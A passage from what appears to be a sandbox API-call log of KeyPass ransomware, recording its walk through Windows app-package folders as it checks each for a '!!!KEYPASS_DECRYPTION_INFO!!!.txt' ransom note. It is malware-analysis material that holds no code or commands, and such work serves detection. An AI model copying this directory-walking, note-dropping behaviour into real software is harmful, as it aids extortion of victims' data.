returned 0 [0289.835] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.835] GetLastError () returned 0x3f0 [0289.835] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.835] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.835] GetLastError () returned 0x5 [0289.835] GetLastError () returned 0x5 [0289.835] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.836] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.836] GetLastError () returned 0x3f0 [0289.836] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.836] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_2015.622.1108.0_neutral_~_8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.836] GetLastError () returned 0x5 [0289.836] GetLastError () returned 0x5 [0289.836] PeekMessageW (in: lpMsg=0x2e4f078, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4f078) returned 0 [0289.836] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.836] GetLastError () returned 0x3f0 [0289.837] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.837] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.837] GetLastError () returned 0x5 [0289.837] GetLastError () returned 0x5 [0289.837] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.837] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.837] GetLastError () returned 0x3f0 [0289.837] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\AppxMetadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.837] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\AppxMetadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.837] GetLastError () returned 0x5 [0289.837] GetLastError () returned 0x5 [0289.838] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.838] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501be18 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.838] GetLastError () returned 0x3f0 [0289.838] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\en-gb\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\en-gb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.838] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\en-gb\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.838] GetLastError () returned 0x5 [0289.838] GetLastError () returned 0x5 [0289.838] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.838] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.838] GetLastError () returned 0x3f0 [0289.838] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\en-us\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.838] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\en-us\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.838] GetLastError () returned 0x5 [0289.839] GetLastError () returned 0x5 [0289.839] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.839] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501b590 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.839] GetLastError () returned 0x3f0 [0289.839] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\images\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.839] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\images\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.842] GetLastError () returned 0x5 [0289.842] GetLastError () returned 0x5 [0289.846] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.846] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.846] GetLastError () returned 0x3f0 [0289.846] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.846] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.847] GetLastError () returned 0x5 [0289.847] GetLastError () returned 0x5 [0289.847] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.847] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501c6a0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.847] GetLastError () returned 0x3f0 [0289.847] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.847] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.848] GetLastError () returned 0x5 [0289.848] GetLastError () returned 0x5 [0289.848] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.848] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.848] GetLastError () returned 0x3f0 [0289.848] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\view\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\view\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.848] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\view\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.848] GetLastError () returned 0x5 [0289.848] GetLastError () returned 0x5 [0289.848] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.848] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.848] GetLastError () returned 0x3f0 [0289.848] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\view\\pages\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\view\\pages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.848] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\officehubxaml\\view\\pages\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.849] GetLastError () returned 0x5 [0289.849] GetLastError () returned 0x5 [0289.849] PeekMessageW (in: lpMsg=0x2e4ed28, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4ed28) returned 0 [0289.849] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018ae8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.849] GetLastError () returned 0x3f0 [0289.849] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.849] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.856] GetLastError () returned 0x5 [0289.856] GetLastError () returned 0x5 [0289.856] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.856] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.857] GetLastError () returned 0x3f0 [0289.857] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.857] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.857] GetLastError () returned 0x5 [0289.857] GetLastError () returned 0x5 [0289.858] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.858] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.858] GetLastError () returned 0x3f0 [0289.858] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\imm\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\imm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.858] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\imm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.858] GetLastError () returned 0x5 [0289.858] GetLastError () returned 0x5 [0289.858] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.859] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.859] GetLastError () returned 0x3f0 [0289.859] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\uap\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\uap\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.859] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\uap\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.859] GetLastError () returned 0x5 [0289.859] GetLastError () returned 0x5 [0289.859] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.859] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5017150 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.859] GetLastError () returned 0x3f0 [0289.859] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\uap\\AutoSuggestBox\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\uap\\AutoSuggestBox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.859] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\controls\\uap\\AutoSuggestBox\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.860] GetLastError () returned 0x5 [0289.860] GetLastError () returned 0x5 [0289.860] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.860] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501ad08 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.860] GetLastError () returned 0x3f0 [0289.860] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\firstrun\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\firstrun\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.860] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\firstrun\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.861] GetLastError () returned 0x5 [0289.861] GetLastError () returned 0x5 [0289.861] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.861] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x501cf28 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.861] GetLastError () returned 0x3f0 [0289.861] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\firstrun\\imm\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\firstrun\\imm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.861] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\firstrun\\imm\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.861] GetLastError () returned 0x5 [0289.861] GetLastError () returned 0x5 [0289.861] PeekMessageW (in: lpMsg=0x2e4e9d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e9d8) returned 0 [0289.861] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019bf8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.861] GetLastError () returned 0x3f0 [0289.861] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.861] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.862] GetLastError () returned 0x5 [0289.862] GetLastError () returned 0x5 [0289.862] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.862] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.862] GetLastError () returned 0x3f0 [0289.862] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\controls\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.862] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.863] GetLastError () returned 0x5 [0289.863] GetLastError () returned 0x5 [0289.863] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.863] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5019370 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.863] GetLastError () returned 0x3f0 [0289.863] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\controls\\winrt\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\controls\\winrt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.863] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\controls\\winrt\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.868] GetLastError () returned 0x5 [0289.868] GetLastError () returned 0x5 [0289.869] PeekMessageW (in: lpMsg=0x2e4e688, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e688) returned 0 [0289.869] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50168c8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.869] GetLastError () returned 0x3f0 [0289.869] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.869] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.869] GetLastError () returned 0x5 [0289.869] GetLastError () returned 0x5 [0289.869] PeekMessageW (in: lpMsg=0x2e4e338, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4e338) returned 0 [0289.869] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x50179d8 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.869] GetLastError () returned 0x3f0 [0289.869] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 [0289.869] PathFileExistsW (pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 0 [0289.874] GetLastError () returned 0x5 [0289.874] GetLastError () returned 0x5 [0289.874] PeekMessageW (in: lpMsg=0x2e4dfe8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x2e4dfe8) returned 0 [0289.874] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x5018260 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps") returned 0x0 [0289.875] GetLastError () returned 0x3f0 [0289.875] PathAppendW (in: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\colorpicker\\", pMore="!!!KEYPASS_DECRYPTION_INFO!!!.txt" | out: pszPath="C:\\Program Files\\WindowsApps\\Microsoft.MicrosoftOfficeHub_17.4218.23751.0_x64__8wekyb3d8bbwe\\xaml\\flux\\gallery\\controls\\colorpicker\\!!!KEYPASS_DECRYPTION_INFO!!!.txt") returned 1 